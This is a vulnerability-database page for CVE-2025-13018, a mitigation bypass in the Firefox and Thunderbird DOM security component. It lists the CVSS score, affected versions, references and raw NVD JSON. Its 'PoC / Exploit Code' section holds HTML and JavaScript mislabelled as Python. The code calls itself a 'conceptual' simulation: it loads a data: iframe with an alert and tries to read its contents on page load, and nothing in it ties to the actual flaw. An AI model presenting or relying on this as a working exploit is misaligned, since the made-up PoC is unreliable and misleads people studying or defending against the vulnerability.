CVE-2025-13018

Description

Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

Mozilla Firefox < 145

Mozilla Firefox ESR < 140.5

Mozilla Thunderbird < 145

Mozilla Thunderbird < 140.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-13018 PoC - DOM Security Mitigation Bypass
// This is a conceptual PoC demonstrating the attack vector

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13018 PoC</title>
</head>
<body>
    <h1>CVE-2025-13018 Mitigation Bypass PoC</h1>
    <p>This PoC demonstrates the DOM security bypass technique.</p>
    
    <script>
        // Simulate the bypass technique
        // Note: This is for educational purposes only
        
        async function exploitBypass() {
            try {
                // Step 1: Create a malicious iframe
                const maliciousFrame = document.createElement('iframe');
                maliciousFrame.src = 'data:text/html,<script>alert("Bypass attempt")</script>';
                document.body.appendChild(maliciousFrame);
                
                // Step 2: Attempt to access cross-origin data through the bypass
                // This simulates the mitigation bypass technique
                setTimeout(() => {
                    try {
                        // Attempt to read sensitive data
                        const sensitiveData = maliciousFrame.contentDocument.body.innerHTML;
                        console.log('Bypass successful - Data accessed:', sensitiveData);
                    } catch (e) {
                        console.log('Access blocked by security policy');
                    }
                }, 100);
                
                // Step 3: Report results
                console.log('CVE-2025-13018 PoC executed');
            } catch (error) {
                console.error('Exploit failed:', error.message);
            }
        }
        
        // Execute when page loads
        window.onload = exploitBypass;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13018
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13018
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13018/
[4] VulDB https://vuldb.com/cve/CVE-2025-13018
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1984940
[6] https://www.mozilla.org/security/advisories/mfsa2025-87/
[7] https://www.mozilla.org/security/advisories/mfsa2025-88/
[8] https://www.mozilla.org/security/advisories/mfsa2025-90/
[9] https://www.mozilla.org/security/advisories/mfsa2025-91/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13018", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:38.900", "lastModified": "2026-04-13T15:16:43.020", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.5.0", "matchCriteriaId": "D77916A6-B8C6-475D-8D77-D5D3AA1E1F43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1984940", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-88/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-91/", "source": "[email protected]"}]}}